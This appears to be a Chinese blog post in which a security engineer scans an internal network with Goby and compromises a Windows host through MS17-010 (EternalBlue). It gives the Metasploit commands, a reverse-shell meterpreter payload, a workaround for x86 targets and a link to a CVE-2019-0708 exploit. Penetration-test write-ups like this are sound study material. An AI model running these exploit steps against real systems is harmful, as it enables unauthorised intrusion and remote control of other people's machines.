0x00 前言

最近疫情嚴重，上班時間一拖再拖，在家學習的時候發現了goby，用於用於監控網絡 IT 資產，

昨日復工，正好可以試用一下，掃描一下內網資產

補充個0708的 https://gitee.com/cbwang505/CVE-2019-0708-EXP-WIndows

0x01 Goby簡介

分析目標網絡IT資產的規則來建立知識庫，可以在發生安全事件時在最短時間內管理安全緊急情況。與傳統的端口掃描和漏洞掃描不同，Goby僅在較小的受影響區域處理漏洞緊急情況，因此此方法最快，對目標網絡的影響最小

官網下載https://gobies.org/ 安裝試用

設置掃描任務

期間發現了一臺主機可能有永恆之藍，遂打之

0x02 msf--ms17-010

掃描確認

攻擊機 kali linux

靶機 10.118.72.111

工具 metasploit

nmap掃描靶機端口，確定445端口開啟

<code>msfconsole #進入msfmsf >search ms17-010 #查看相關模塊msf > use auxiliary/scanner/smb/smb_ms17_010msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.118.72.111msf auxiliary(scanner/smb/smb_ms17_010) > exploit /<code>

確認 vulnerable！

說明主機10.118.72.111存在MS17-010漏洞

漏洞攻擊

下面使用攻擊模塊

<code>msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.118.72.111rhost => 10.118.72.111msf exploit(windows/smb/ms17_010_eternalblue) > set lhost xxxlhost => xxxmsf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(windows/smb/ms17_010_eternalblue) >/<code>

但是。。。沒打成功

後面找到了參考https://laucyun.com/a6cb3c752b0fc10f0a9eeef01f7a5f76.html

x86平臺下失敗的解決方法

msf自帶的利用模塊只針對x64版本的操作系統，而對於x86版本的系統卻失效，可以使用https://git.laucyun.com/security/Eternalblue-Doublepulsar-Metasploit.git來解決

最後的配置是

oh 當時還修改了一個 set PROCESSINJECT lsass.exe

就成功拿下

3389端口開啟

遠程登錄成功！

其他資料

ms17010這個問題其實比較難，看到好資料先收藏起來，以便以後攻防使用

https://mp.weixin.qq.com/s/EoHB02qOscZsj3cNS40Rsw

由於內網滲透經驗不足，因此還在摸索，大家可以提一下下一步滲透建議哈！

閱讀更多 甲方信息安全工程師 的文章

關鍵字: Linux Kali Windows